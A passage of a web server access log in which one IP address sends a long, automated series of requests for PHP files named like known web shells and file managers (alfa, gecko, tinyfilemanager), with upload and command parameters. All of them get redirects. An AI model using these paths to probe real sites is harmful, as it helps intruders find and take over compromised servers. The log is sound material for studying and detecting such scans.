"GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:47 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:49 -0400] "GET /about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:49 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:50 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:53 -0400] "GET /about/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:54 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:56 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:58 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:00 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:03 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:05 -0400] "GET /admin.php/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:09 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:11 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:14 -0400] "GET /admin.php?debug=on&cmd=upload HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:17 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:20 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:24 -0400] "GET /admin//function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:28 -0400] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:33 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:37 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:43 -0400] "GET /admin/controller/extension/extension/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:48 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:51 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:55 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:06:58 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:01 -0400] "GET /admin/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:05 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:07 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:10 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:13 -0400] "GET /admin2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:16 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:19 -0400] "GET /adminer.php?db=stealth HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:23 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:25 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:28 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:31 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:34 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:35 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:37 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:38 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:40 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:42 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:43 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:47 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:49 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:52 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:54 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:56 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:07:58 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:01 -0400] "GET /api/.config.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:05 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:11 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:16 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:21 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:24 -0400] "GET /aspeV9cCZPQ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:27 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:30 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:34 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:39 -0400] "GET /assets/images//NOFmvAjT.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:41 -0400] "GET /assets/images//niil.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:46 -0400] "GET /assets/images//scan.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:50 -0400] "GET /assets/images/1741753877buyyx.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:53 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:08:57 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:00 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:04 -0400] "GET /assets/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:10 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:15 -0400] "GET /assets/xp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:20 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:24 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:27 -0400] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:30 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:34 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:39 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:43 -0400] "GET /bQmw.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:47 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:50 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:53 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:09:57 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:00 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:05 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:08 -0400] "GET /ben.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:17 -0400] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:21 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:26 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:30 -0400] "GET /blog/wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:35 -0400] "GET /bob.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:37 -0400] "GET /brU.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:39 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:41 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:43 -0400] "GET /bs1.php?d=2f7777772f3030396437 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:45 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:47 -0400] "GET /buy.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:48 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:48 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:50 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:52 -0400] "GET /cZkmtUnJVfi.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:57 -0400] "GET /cache/b/c/e/b/mdtcshwavxn.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:10:59 -0400] "GET /cache/d/d/b/d/zwdlhkfyupn.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:01 -0400] "GET /cache/d/h/d/f/ukstnfjlbov.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:06 -0400] "GET /cache/e/e/e/b/abkiszpjdfx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:08 -0400] "GET /cache/g/a/d/b/qtrxajmpgek.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:11 -0400] "GET /cache/g/c/h/b/tfuoqlvyakp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:13 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:16 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:20 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:23 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:24 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:27 -0400] "GET /cgi-bin/b.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:30 -0400] "GET /cgi-bin/bak.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:36 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:39 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:42 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:45 -0400] "GET /cgi-bin/head.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:47 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:52 -0400] "GET /cgi-bin/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:11:57 -0400] "GET /cgi-bin/index.php?p=&upload HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:02 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:07 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:10 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:13 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:18 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:22 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:25 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:29 -0400] "GET /chosen/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:34 -0400] "GET /chosen?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:37 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:41 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:45 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:49 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:52 -0400] "GET /class.api.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:54 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:12:58 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:02 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:07 -0400] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:11 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:16 -0400] "GET /click.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:21 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:23 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:29 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:34 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:38 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:42 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:45 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:49 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:51 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:52 -0400] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:55 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:57 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:13:59 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:02 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:05 -0400] "GET /cpouchon/ORTHOSKIM HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:09 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:11 -0400] "GET /css.php/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:13 -0400] "GET /css.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:15 -0400] "GET /css/.tmp/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:17 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:20 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:22 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:25 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:28 -0400] "GET /css/default.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:31 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:38 -0400] "GET /css/nop.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:43 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:46 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:49 -0400] "GET /custom-background.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:51 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:14:56 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:01 -0400] "GET /d8Q4AflCtoJ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:06 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:11 -0400] "GET /data/.backup.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:15 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:20 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:23 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:26 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:31 -0400] "GET /dg6Umx2OrVh.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:33 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:36 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:37 -0400] "GET /dropdown.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:39 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:40 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:42 -0400] "GET /eVhyNnBmDl4.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:43 -0400] "GET /ecoraiderusa.com/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:44 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:46 -0400] "GET /edit.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:47 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:48 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:49 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:50 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:51 -0400] "GET /error.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:52 -0400] "GET /es-ar//wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:53 -0400] "GET /exploits7.my.id HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:54 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:55 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:57 -0400] "GET /f8P2t5IOcAq.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:58 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:15:59 -0400] "GET /feed/atom/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:00 -0400] "GET /fex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:02 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:03 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:07 -0400] "GET /file.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:11 -0400] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:13 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:15 -0400] "GET /filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:18 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:20 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:22 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:24 -0400] "GET /files//tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:26 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:27 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:29 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:29 -0400] "GET /fkHOiaRx2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:31 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:33 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:34 -0400] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:36 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:37 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:38 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:39 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:40 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:41 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:41 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:42 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:42 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:43 -0400] "GET /geLVvYmAkdO.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:44 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:45 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:46 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:46 -0400] "GET /geylY2B94sm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:47 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:48 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:48 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:50 -0400] "GET /go.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:50 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:51 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:52 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:53 -0400] "GET /gxurwGYPKWI.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:53 -0400] "GET /header.php HTTP/1.1" 301 795 